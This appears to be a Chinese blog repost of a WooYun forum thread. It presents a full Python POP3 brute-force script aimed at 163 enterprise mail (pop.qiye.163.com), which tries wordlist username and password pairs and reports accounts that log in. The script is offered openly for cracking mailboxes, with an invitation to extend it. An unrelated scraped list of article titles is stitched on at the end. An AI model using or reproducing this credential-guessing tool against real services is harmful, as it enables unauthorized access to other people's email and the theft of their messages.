之前发了一个帖子:http://zone.wooyun.org/content/20379总结了几种企业邮箱爆破的一些小技巧,直接贴出具体的爆破脚本吧。以163企业邮箱为例,目前这个是单线程的,也是从网上找到的爆破google邮箱的代码简单修改成的,只支持pop3协议。小伙伴们可以修改成支持多种协议、多线程的,坐等。贴上代码:

#!usr/bin/python

#Email Pop3 Brute Forcer

#http://www.darkc0de.com

#d3hydr8[at]gmail[dot]com

#http://www.nxadmin.com

import threading, time, random, sys, poplib

from copy import copy

if len(sys.argv) !=3:

print "\n\t EmailPopBruteForcer v1.0"

print "\t --------------------------------------------------\n"

print "\t Usage: ./qmailpopbrute.py \n"

sys.exit(1)

server = "pop.qiye.163.com"

success = []

try:

users = open(sys.argv[1], "r").readlines()

except(IOError):

print "[-] Error: Check your userlist path\n"

sys.exit(1)

try:

words = open(sys.argv[2], "r").readlines()

except(IOError):

print "[-] Error: Check your wordlist path\n"

sys.exit(1)

try:

pop = poplib.POP3(server,110)

welcome = pop.getwelcome()

print welcome

pop.quit()

except (poplib.error_proto):

welcome = "No Response"

pass

def mailbruteforce(listuser,listpwd):

if len(listuser) < 1 or len(listpwd) < 1 :

print "An error occurred: No user or pass list"

return 1

for user in listuser:

for value in listpwd :

user = user.replace("\n","")

value = value.replace("\n","")

try:

print "-"*12

print "[+] User:",user,"Password:",value

time.sleep(2)

pop = poplib.POP3(server,110)

pop.user(user)

auth = pop.pass_(value)

print auth

if auth.split(' ')[0]!= "+OK" :

pop.quit()

print "unknown error !"

continue

if pop.stat()[1] is None or pop.stat()[1] < 1 :

pop.quit()

print "unknown error !"

continue

#print "\t\t\n\nLogin successful:",user, value

#print "\t\tMail:",pop.stat()[0],"emails"

#print "\t\tSize:",pop.stat()[1],"bytes\n\n"

ret = (user,value,pop.stat()[0],pop.stat()[1])

success.append(ret)

#print len(success)

pop.quit()

break

except:

#print "An error occurred:", msg

pass

print "\n\t EmailPopBruteForcer v1.0"

print "\t --------------------------------------------------\n"

print "[+] Server:",server

print "[+] Port: 995"

print "[+] Users Loaded:",len(users)

print "[+] Words Loaded:",len(words)

print "[+] Server response:",welcome,"\n"

mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)

if len(success) >=1:

for ret in success:

print "\n\n[+] Login successful:",ret[0], ret[1]

print "\t[+] Mail:",ret[2],"emails"

print "\t[+] Size:",ret[3],"bytes\n"

print "\n[-] Done"

如图:

最后编辑:2015-05-25作者:admin

这个作者貌似有点懒,什么都没有留下。

python密码爆破脚本_企业邮箱爆破小脚本(Python版)相关推荐

  1. python邮箱爆破_企业邮箱爆破脚本

    #!usr/bin/python #!coding:utf-8 import threading,time,random,sys,poplib from copy import copy if len ...

  2. 阿里企业邮箱收费标准_企业邮箱费用明细表

    阿里云企业邮箱收费标准(免费版/标准/尊享/集团),2023阿里云企业邮箱收费标准,免费版企业邮箱0元,标准版企业邮箱540元一年(原价600元一年),企业邮箱尊享版1400元一年,9折后1260元一 ...

  3. TOM企业邮箱登录入口在哪里?分享企业邮箱登录入口手机网页版

    企业邮箱像个人邮箱一样,可以从很多入口登录,例如网页端.客户端.APP等.今天主要跟大家介绍TOM企业邮箱手机网页版的登录入口. 在什么情况下会用到手机登录企业邮箱呢? 出差在外,但同事说老板发了邮件 ...

  4. 最适合新手的python刷题网站_有没有适合新手练习Python的网站(做题类)?

    直接在知乎看我整理的练习题就可以了, 给你分享一下我自己亲身经历过的python考试题(下面还有练习题大全哦~~~) 记得给小达点个关注~ 你可以参考下面的题进行练习,考试题换汤不换药,希望对你有帮助 ...

  5. python邮箱爆破_python制作企业邮箱的爆破脚本

    按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本. 我先说下整体思路: 总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生 ...

  6. python程序下载腾讯企业邮箱附件_获取腾讯企业邮箱通讯录python脚本(带登录功能)...

    之前的 帖子 加入了 @ sdc1992 提供的登录部分 根据邮箱和密码,获取企业通讯录 运行后会生成两个文件 一个只包含邮箱,可以用于后续爆破 一个为部门名称 和 部门下的员工邮箱的树形结构,可以方 ...

  7. hs8545m超级管理员密码_企业邮箱密码被盗用的解决方案

    企业邮箱账号安全是各大公司非常关注的,如果账号密码被盗,后果非常严重.U-Mail企业邮箱将企业邮箱密码被盗的一般特征和U-Mail的紧急处理方法简要归纳,给大家做个参考: 如何判定企业邮箱被盗: 1 ...

  8. 获取QQ企业邮箱通讯录PY脚本

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @Last Modified time: 2016-03-03 22:45:18 # @Descript ...

  9. python程序下载腾讯企业邮箱附件_python 发送邮件 QQ+腾讯企业邮箱

    一.使用QQ邮箱或者腾讯企业邮箱 python 发送邮件属于网络编程方向的,在工作中,我需要经常用邮件来检测我的程序运行状况.使用起来十分方便,这里我就用腾讯企业邮箱作为我的收发邮箱来使用. 使用py ...

最新文章

  1. CSS、JavaScript、PHP和Python编程合二为一
  2. html调用百度地图语音播报,实现百度地图导航演示的语音播放功能
  3. 科普:不要对移动机器人有误解
  4. linux下开放端口
  5. 编程之美-24点游戏方法整理
  6. 如何将实时计算 Flink 与自身环境打通?
  7. XCTF-高手进阶区:lottery
  8. springcloud 整合 gateway_从Spring Cloud到Kubernetes的微服务迁移实践
  9. 回溯的问题合集(Leetcode题解-Python语言)
  10. html颜色叠加代码,html代码大全(基础使用代码)(颜色代码完整版)
  11. 【模型加速】TensorRT安装、测试及常见问题
  12. Labview视觉模块安装
  13. 关于ios app名称注册的问题(抢注)
  14. 【多字典公共键】快速找到多个字典的公共键及非公共键
  15. win10系统蓝牙服务器,如何打开win10系统的蓝牙并进行设备添加
  16. linux dnw工具,dnw for linux(pc)
  17. JAVA之线程子类秒表(静态)
  18. JavaScript根据用户输入动态计算周数
  19. 网吧登陆steam启动gta5一直启动不了
  20. Oracle索引的维护

热门文章

  1. spotlight on linux 安装及配置
  2. bak文件转oracle文件,如何在Oracle 11g中恢复.bak文件(How to restore .bak file in oracle 11g)...
  3. Delegate 基本概念
  4. 宝宝为什么经常拉肚子?
  5. 凝固永恒瞬间的艺术 纪实摄影到底怎么拍
  6. 金富瑞UCML2.0应用框架平台 for Asp.Net WEB 开发平台
  7. Spring+SpringMVC+MyBatis框架搭建-----详细教程
  8. 优秀的数据产品经理需要掌握哪些技能?
  9. 程序设计基础c语言上机考试,程序设计基础C语言上机考试题第一套.DOC
  10. PROTEL99画异形焊盘